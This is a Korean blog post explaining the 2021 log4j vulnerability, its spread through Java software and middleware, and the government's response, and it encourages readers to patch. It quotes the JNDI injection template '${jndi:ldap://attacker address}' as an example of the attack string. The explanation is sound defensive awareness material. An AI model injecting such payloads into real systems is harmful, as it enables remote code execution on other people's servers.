본문 바로가기
정보꿀팁/전자제품

오픈 소스 로깅 라이브러리(log4j) 취약점을 이용한 공격 예방

by 니~킥 니~킥 2022. 1. 13.
반응형

안녕하세요 니~킥입니다.

사진 = 과학기술정보통신부

오늘은 좀 어려운 주제를 가지고 이야기해 보려고 합니다. 지난 2021년 12월 10일 발생한 컴퓨터 사상 최악의 취약점에 대해 들어보셨나요? 많은 부분에 취약점을 발생시키는 '오픈 소스 로깅 라이브러리' log4j라는 소프트웨어에 치명적인 보안상 문제가 발견되었다고 합니다. 이러한 취약점은 많은 유명세를 갖고 있는 온라인 게임 마인크래프트에서 처음 발견이 되었고, 특정 메시지를 입력하면 원격으로 프로그램을 실행할 수 있다는 문제점에서 시작되었다고 합니다. 

 

여기서 발견된 log4j은 왜 컴퓨터 최악의 취약점으로 불리게 되었을까요? 이를 알기 위해서 '오픈 소스 로깅 라이브러리'부터 'log4j'까지 생소한 용어를 하나하나 알아보며 왜 최악의 취약점이라고 불리는지 알아보겠습니다.

오픈 소스 로깅 라이브러리(log4j) 취약점을 이용한 공격 예방

log란?

먼저 log4j의 log가 무엇인지 알아보겠습니다. log란 컴퓨터에서 처리한 내용이나 사용자가 이용하고 있는 상황을 시간 흐름에 맞춰 기록한 것을 말한다고 합니다. 컴퓨터를 시스템 측면에서 바라본다면 사용자는 여러 작업을 하기 위해 기존에 미리 작성된 코드의 패키지인 라이브러리를 사용하는데, 라이브러리를 사용하는 과정에서 여러 오류가 발생할 수 있어 컴퓨터는 이를 모두 기록하는데, 이를 로그라고 한다고 합니다. 더 나아가, 컴퓨터는 사용자가 시스템에서 작업을 수행하면서 발생하는 모든 일을 간단하게 로그라는 형식을 통해 기록하는 것을 '로깅'이라고 부른다고 합니다.

 

log와 비슷하면서도 다른 log4j는 아파치 소프트웨어 재단이 개발한 '오픈소스 자바 로깅 프레임 워크'를 말한다고 합니다. 하나하나 자세히 보면 우선 '오픈소스'라는 특징을 갖고 있기에 전 세계 수많은 애플리케이션 서비스가 이를 이용하고 있다고 합니다. 그 다음의 표현인 '자바 로깅 프레임 워크'는 java 코딩 도중 프로그램의 로그를 기록해주는 라이브러리의 기능을 한다고 합니다. 즉, log4j가 있는 프로그램을 실행하게 되면 일어나는 일들을 로그에 저장하게 되는 것이라고 합니다. 이러한 log4j의 로깅은 프로그램의 유지 및 관리를 하기 위해서 반드시 기록으로 남기기 때문에 거의 전 세계의 대부분의 서버에게 필요하다고 합니다. 

 

특히, 오픈소스이기 때문에 많은 서버가 이를 손쉽게 사용하고 있다고 합니다. 그렇다면 어떻게, 왜 치명적인 취약점을 발생했을까요?

 

log4j 취약점 발생 원인

log4j의 취약점 발생 원인을 알아보기에 앞서, 마인크래프트에서 발견된 사례를 자세히 살펴보면, java 언어로 만들어진  마인크래프트에서 어떤 특정 문구를 입력하게 되면 원격으로 프로그램을 조종할 수 있게 되면서 본 취약점은 드러나게 되었다고 합니다. 하지만, 이러한 취약점은 단순하게 마인크래프트에서 그치는 것이 아니라 log4j를 사용하는 모든 소프트웨어에 영향이 있기에 많은 프로그램의 취약점이라는 것이 드러나게 되었다고 합니다.

 

사례로 다시 돌아와 log4j의 기반 언어인 java 언어에는 코드를 트리거하는 기능이 포함되어 있다고 합니다. 그렇기에 ${jndi:ldap://공격자의 주소}라는 문자열이 포함된 메시지로 경격자가 원하는 형태로 기록이 되면 java는 원격 서버에서 참조된 개체를 가져와 코드를 실행하게 된다고 합니다. 이때 사용하는 문자열 메시지를 어떻게 변형하느냐에 따라서 URL 내용, 로그인 이름, 데이터 조각 등을 기록할 수 있어서 컴퓨터의 모든 권한을 취득할 수 있다는 위험성이 존재한다고 합니다.

 

log4j 취약점은 최악의 취약점

그렇다면 이러한 log4j 취약점은 왜 최악의 취약점이라고 불리게 되었을까요? 우선, log4j는 앞서 언급했듯 오픈소스이기 때문에 매우 넓은 범위에서 사용되고 잇다고 합니다. 특히, log4j는 옛날부터 사용되고 있었기 때문에  java 프로그램의 로그를 출력하는 데 있어서 사실상 표준이라고 해도 무방할 정도로 다방면으로 사용되고 있다고 합니다.

 

그래서 이번 취약점과 관련하여 많은 소프트웨어와 플랫폼에서 사용되는 프로그램이기에 취약성 약용을 많은 경로로 할 수 있어 상당히 위험한 취약점으로 평가하고 있다고 합니다. 심지어 java 프로그램을 이용하지 않더라도 미들웨어에서 java를 이용할 수 있기 때문에 유의해야 한다고 합니다. 실제로 python이라는 언어로 작성하였지만, 미들웨어로 java를 사용하는 프로그램도 종종 잇기에 유의해야 한다고 합니다. 비슷한 예로 log4j가 기기에 내장된 경우도 잇기에 기기에 내장된 것이 java 기반일 경우에도 취약점에 노출될 수 있다고 합니다.

 

여기에 나온 미들웨어란 컴퓨터는 여러 가지 일을 나우어 '분산 컴퓨팅 환경'이라는 환경에서 일하고 있는데, 이러한 분산 컴퓨팅 환경에서 응용프로그램과 그 프로그램이 운영되는 환경 간에 원만한 통신이 이루어지도록 하는 소프트웨어를 미들웨어라고 부른다고 합니다.

 

이 외에도 log4j는 다른 것을 손상하지 않고 패치도 어렵게 만든다는 점과 다른 프로그램과의 의존성이 있는 코드가 많아 패치가 어렵다는 문제점이 있기에 종합적으로 log4j 취약점은 최악의 취약점이라고 불리고 있다고 합니다.

 

실제로 주변에 영향을 받은 수 있었던 프로그램을 살펴보면 왜 위험한지 제대로 파악할 수 있다고 합니다. apple사에서도 아이폰의 이름을 기록하는 java 프로그램이 있었기에 지금은 log4j가 몇 차례 패치되었지만, 며칠전만 해도 이것을 이용해 iCloud를 악용하는 것이 이론상 가능했다고 합니다.

 

iCloud 뿐만 아니라 많은 사람이 이용하는 steam 게임 플랫폼 또한 모두 java로 작성되어 몇몇 문자열을 이용해서 취약점을 공격하는 것이 가능했다고 합니다. 이렇듯 평소에 자주 사용하는 많은 프로그램은 java 기반으로 이루어져 있었고, 본 취약점을 이용해 많은 프로그램이 공격을 받을 수 있기에 위험에 처할 수 있다고 합니다. 

 

log4j 취약점을 이용한 공격 예방

앞서 알아본 바와 같이 log4j로 인해서 많은 소프트웨어의 취약점이 발생하였습니다. 이렇게 log4j의 취약점이 발생하고 나서 과학기술정보통신부에서도 여러 대책을 세웠는데, 과학기술정보통신부는 log4j 보안 취약점 대응을 위해 정보보호 최고책임자 간담회를 개최하였다고 합니다. 본 간담회에서 log4j의 취약점 공격 방어전략, 취약 여부 점검 방법, 보안 조치 방안 등 세부적인 취약점 대응 바안에 대한 정보공유에 대해 논의를 나누었다고 합니다. 이러한 논의와 대응 현황을 바탕으로 과학기술정보통신부에서는 주요 정보통신기반시설을 대상으로 긴급점검을 하였으며, 보안 패치를 실시했다고 합니다. 

 

이뿐 아니라 국정원에서도 사태 파악 및 보안패치를 안내했고, 국가 공공기관 대상 해킹 피해사례는 없는것으로 확인했다고 합니다. 하지만, 정부 기관에서 큰 노력을 기울임에도 불구하고, log4j의 취약점은 지금 이 순간에도 계속해서 발견되고 있기에 국민들 또한 보안 업데이트를 지속해서 해주며 이에 대한 관심을 기울여 주어야 한다고 합니다.

 

이와 같은 취약점 사례에서 알 수 있듯, 실제로 보안은 많은 취약점이 존재하고, 능동적으로 취약점을 찾아내야 한다고 합니다. 만약, 찾아내지 못한다면 디지털 전환이 이루어지는 데 있어서 위험성이 점점 커질 수 있기 때문에 평소에 취약점에 관해 관심을 기울이고, 보안 패치와 같은 것들은 바로바로 해주어 피해를 예방하는 것이 좋다고 합니다.

 

자료 = 과학기술정보통신부

 

 

 

 

그럼 여기까지 오픈 소스 로깅 라이브러리(log4j) 취약점에 대해 알아보고 log4j 취약점 공격 예방법도 알아보았습니다.

감사합니다.

반응형

댓글